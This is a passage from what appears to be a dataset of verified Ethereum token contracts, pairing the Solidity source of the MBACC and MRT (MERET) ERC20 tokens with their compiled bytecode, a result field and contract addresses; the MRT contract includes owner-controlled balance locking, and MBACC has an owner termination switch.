* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Terminable is Ownable {
bool isTerminated = false;
event Terminated();
modifier whenLive() {
require(!isTerminated);
_;
}
function terminate() onlyOwner whenLive public {
isTerminated = true;
emit Terminated();
}
}
contract MBACC is StandardToken, Terminable {
using SafeERC20 for ERC20;
using SafeMath for uint256;
string public name = "MBACC";
string public symbol = "MBA";
uint8 public decimals = 18;
mapping (address => bool) issued;
uint256 public eachIssuedAmount;
constructor(uint256 _totalSupply, uint256 _eachIssuedAmount) public {
require(_totalSupply >= _eachIssuedAmount);
totalSupply_ = _totalSupply * (10 ** uint256(decimals));
eachIssuedAmount = _eachIssuedAmount * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
issued[msg.sender] = true;
}
function issue() whenLive public {
require(balances[owner] >= eachIssuedAmount);
require(!issued[msg.sender]);
balances[owner] = balances[owner].sub(eachIssuedAmount);
balances[msg.sender] = balances[msg.sender].add(eachIssuedAmount);
issued[msg.sender] = true;
emit Transfer(owner, msg.sender, eachIssuedAmount);
}
function transfer(address _to, uint256 _value) whenLive public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
whenLive
public
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
whenLive
public
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue)
whenLive
public
returns (bool)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue)
whenLive
public
returns (bool)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b3146101865780630c08bf88146101eb57806318160ddd1461020257806323b872dd1461022d578063313ce567146102b257806341bb50f7146102e3578063661884631461030e57806370a0823114610373578063715018a6146103ca5780638da5cb5b146103e157806395d89b4114610438578063a9059cbb146104c8578063d383f6461461052d578063d73dd62314610544578063dd62ed3e146105a9578063f2fde38b14610620575b600080fd5b34801561010257600080fd5b5061010b610663565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610701565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610731565b005b34801561020e57600080fd5b506102176107f2565b6040518082815260200191505060405180910390f35b34801561023957600080fd5b50610298600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107fc565b604051808215151515815260200191505060405180910390f35b3480156102be57600080fd5b506102c761082e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ef57600080fd5b506102f8610841565b6040518082815260200191505060405180910390f35b34801561031a57600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610847565b604051808215151515815260200191505060405180910390f35b34801561037f57600080fd5b506103b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610877565b6040518082815260200191505060405180910390f35b3480156103d657600080fd5b506103df6108bf565b005b3480156103ed57600080fd5b506103f66109c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044457600080fd5b5061044d6109ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048d578082015181840152602081019050610472565b50505050905090810190601f1680156104ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104d457600080fd5b50610513600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a88565b604051808215151515815260200191505060405180910390f35b34801561053957600080fd5b50610542610ab8565b005b34801561055057600080fd5b5061058f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610def565b604051808215151515815260200191505060405180910390f35b3480156105b557600080fd5b5061060a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e1f565b6040518082815260200191505060405180910390f35b34801561062c57600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea6565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106f95780601f106106ce576101008083540402835291602001916106f9565b820191906000526020600020905b8154815290600101906020018083116106dc57829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561071f57600080fd5b6107298383610f0e565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078d57600080fd5b600360149054906101000a900460ff161515156107a957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f56a9f39a7e827c383642a56b2ca4614ea9e1e7553a99dac156511be09dd1449560405160405180910390a1565b6000600154905090565b6000600360149054906101000a900460ff1615151561081a57600080fd5b610825848484611000565b90509392505050565b600660009054906101000a900460ff1681565b60085481565b6000600360149054906101000a900460ff1615151561086557600080fd5b61086f83836113ba565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a805780601f10610a5557610100808354040283529160200191610a80565b820191906000526020600020905b815481529060010190602001808311610a6357829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610aa657600080fd5b610ab0838361164b565b905092915050565b600360149054906101000a900460ff16151515610ad457600080fd5b600854600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b4557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b9e57600080fd5b610c13600854600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cca6008546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a3565b6000600360149054906101000a900460ff16151515610e0d57600080fd5b610e17838361189f565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0257600080fd5b610f0b81611a9b565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561103d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561108a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561111557600080fd5b611166826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ca82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114cb576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061155f565b6114de838261186a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561168857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116d557600080fd5b611726826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186a90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082821115151561187857fe5b818303905092915050565b6000818301905082811015151561189657fe5b80905092915050565b600061193082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ad757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058202b5d17372474a475a3ef0eab7db4928b752c43ac9f529afb7ebfe42464eaa3250029
|
{"success": true, "error": null, "results": {}}
| 8,033 |
0x43e441a7d315eeb8d4b7b854d69bcabea8c0d25b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract ERC20Burnable is Context, ERC20, Ownable {
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
abstract contract ERC20Lockable is ERC20, Ownable {
struct LockInfo {
uint256 _releaseTime;
uint256 _amount;
}
mapping(address => LockInfo[]) internal _locks;
mapping(address => uint256) internal _totalLocked;
event Lock(address indexed from, uint256 amount, uint256 releaseTime);
event Unlock(address indexed from, uint256 amount);
modifier checkLock(address from, uint256 amount) {
uint256 length = _locks[from].length;
if (length > 0) {
autoUnlock(from);
}
require(_balances[from] >= _totalLocked[from] + amount, "checkLock : balance exceed");
_;
}
function _lock(address from, uint256 amount, uint256 releaseTime) internal returns (bool success)
{
require(
_balances[from] >= amount + _totalLocked[from],
"lock : locked total should be smaller than balance"
);
_totalLocked[from] = _totalLocked[from] + amount;
_locks[from].push(LockInfo(releaseTime, amount));
emit Lock(from, amount, releaseTime);
success = true;
}
function _unlock(address from, uint256 index) internal returns (bool success) {
LockInfo storage lock = _locks[from][index];
_totalLocked[from] = _totalLocked[from] - lock._amount;
emit Unlock(from, lock._amount);
_locks[from][index] = _locks[from][_locks[from].length - 1];
_locks[from].pop();
success = true;
}
function lock(address recipient, uint256 amount, uint256 releaseTime) public onlyOwner returns (bool) {
require(_balances[recipient] >= amount, "There is not enough balance of holder.");
_lock(recipient, amount, releaseTime);
return true;
}
function autoUnlock(address from) public returns (bool success) {
for (uint256 i = 0; i < _locks[from].length; i++) {
if (_locks[from][i]._releaseTime < block.timestamp) {
_unlock(from, i);
}
}
success = true;
}
function unlock(address from, uint256 idx) public onlyOwner returns (bool success) {
require(_locks[from].length > idx, "There is not lock info.");
_unlock(from, idx);
success = true;
}
function releaseLock(address from) external onlyOwner returns (bool success){
require(_locks[from].length > 0, "There is not lock info.");
// uint256 i = _locks[from].length - 1;
// _unlock(from, i);
for (uint256 i = _locks[from].length; i > 0; i--) {
_unlock(from, i - 1);
}
success = true;
}
function transferWithLock(address recipient, uint256 amount, uint256 releaseTime) external onlyOwner returns (bool success)
{
require(recipient != address(0));
_transfer(msg.sender, recipient, amount);
_lock(recipient, amount, releaseTime);
success = true;
}
function lockInfo(address locked, uint256 index) public view returns (uint256 releaseTime, uint256 amount)
{
LockInfo memory lock = _locks[locked][index];
releaseTime = lock._releaseTime;
amount = lock._amount;
}
function totalLocked(address locked) public view returns (uint256 amount, uint256 length){
amount = _totalLocked[locked];
length = _locks[locked].length;
}
}
contract MRT is ERC20, ERC20Burnable, ERC20Lockable {
constructor() ERC20("MERET", "MRT") {
_mint(msg.sender, 3000000000 * (10 ** decimals()));
}
function transfer(address to, uint256 amount) public checkLock(msg.sender, amount) override returns (bool) {
return super.transfer(to, amount);
}
function transferFrom(address from, address to, uint256 amount) public checkLock(from, amount) override returns (bool) {
return super.transferFrom(from, to, amount);
}
function balanceOf(address holder) public view override returns (uint256 balance) {
uint256 totalBalance = super.balanceOf(holder);
uint256 avaliableBalance = 0;
(uint256 lockedBalance, uint256 lockedLength) = totalLocked(holder);
require(totalBalance >= lockedBalance);
if (lockedLength > 0) {
for (uint i = 0; i < lockedLength; i++) {
(uint256 releaseTime, uint256 amount) = lockInfo(holder, i);
if (releaseTime <= block.timestamp) {
avaliableBalance += amount;
}
}
}
balance = totalBalance - lockedBalance + avaliableBalance;
}
function balanceOfTotal(address holder) public view returns (uint256 balance) {
balance = super.balanceOf(holder);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
super._beforeTokenTransfer(from, to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c806395d89b41116100c3578063d8fb93371161007c578063d8fb933714610416578063dd62ed3e14610447578063de6baccb14610477578063e20bc67b146104a7578063e2ab691d146104d7578063f2fde38b1461050757610158565b806395d89b4114610307578063a457c2d714610325578063a9059cbb14610355578063b2520a7c14610385578063d1c46916146103b6578063d29dad83146103e657610158565b806342966c681161011557806342966c681461024757806370a0823114610263578063715018a61461029357806379cc67901461029d5780637eee288d146102b95780638da5cb5b146102e957610158565b806306fdde031461015d578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101c9578063313ce567146101f95780633950935114610217575b600080fd5b610165610523565b604051610172919061274b565b60405180910390f35b610195600480360381019061019091906123b0565b6105b5565b6040516101a29190612730565b60405180910390f35b6101b36105d3565b6040516101c0919061296d565b60405180910390f35b6101e360048036038101906101de919061235d565b6105dd565b6040516101f09190612730565b60405180910390f35b61020161071e565b60405161020e91906129b1565b60405180910390f35b610231600480360381019061022c91906123b0565b610727565b60405161023e9190612730565b60405180910390f35b610261600480360381019061025c9190612443565b6107d3565b005b61027d600480360381019061027891906122f0565b6107e7565b60405161028a919061296d565b60405180910390f35b61029b610887565b005b6102b760048036038101906102b291906123b0565b6109c4565b005b6102d360048036038101906102ce91906123b0565b610a3f565b6040516102e09190612730565b60405180910390f35b6102f1610b56565b6040516102fe9190612715565b60405180910390f35b61030f610b80565b60405161031c919061274b565b60405180910390f35b61033f600480360381019061033a91906123b0565b610c12565b60405161034c9190612730565b60405180910390f35b61036f600480360381019061036a91906123b0565b610cfd565b60405161037c9190612730565b60405180910390f35b61039f600480360381019061039a91906123b0565b610e3c565b6040516103ad929190612988565b60405180910390f35b6103d060048036038101906103cb91906122f0565b610ed7565b6040516103dd9190612730565b60405180910390f35b61040060048036038101906103fb91906122f0565b61105f565b60405161040d919061296d565b60405180910390f35b610430600480360381019061042b91906122f0565b611071565b60405161043e929190612988565b60405180910390f35b610461600480360381019061045c919061231d565b611100565b60405161046e919061296d565b60405180910390f35b610491600480360381019061048c91906123f0565b611187565b60405161049e9190612730565b60405180910390f35b6104c160048036038101906104bc91906122f0565b611261565b6040516104ce9190612730565b60405180910390f35b6104f160048036038101906104ec91906123f0565b611346565b6040516104fe9190612730565b60405180910390f35b610521600480360381019061051c91906122f0565b61145c565b005b60606003805461053290612b24565b80601f016020809104026020016040519081016040528092919081815260200182805461055e90612b24565b80156105ab5780601f10610580576101008083540402835291602001916105ab565b820191906000526020600020905b81548152906001019060200180831161058e57829003601f168201915b5050505050905090565b60006105c96105c261160d565b8484611615565b6001905092915050565b6000600254905090565b600083826000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050600081111561063c5761063a83611261565b505b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461068791906129e8565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe9061278d565b60405180910390fd5b6107128787876117e0565b93505050509392505050565b60006012905090565b60006107c961073461160d565b84846001600061074261160d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107c491906129e8565b611615565b6001905092915050565b6107e46107de61160d565b826118d8565b50565b6000806107f383611aa3565b90506000808061080286611071565b915091508184101561081357600080fd5b60008111156108655760005b81811015610863576000806108348984610e3c565b9150915042821161084e57808661084b91906129e8565b95505b5050808061085b90612b56565b91505061081f565b505b8282856108729190612a3e565b61087c91906129e8565b945050505050919050565b61088f61160d565b73ffffffffffffffffffffffffffffffffffffffff166108ad610b56565b73ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fa906128ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006109d7836109d261160d565b611100565b905081811015610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a13906128cd565b60405180910390fd5b610a3083610a2861160d565b848403611615565b610a3a83836118d8565b505050565b6000610a4961160d565b73ffffffffffffffffffffffffffffffffffffffff16610a67610b56565b73ffffffffffffffffffffffffffffffffffffffff1614610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab4906128ad565b60405180910390fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061282d565b60405180910390fd5b610b4b83836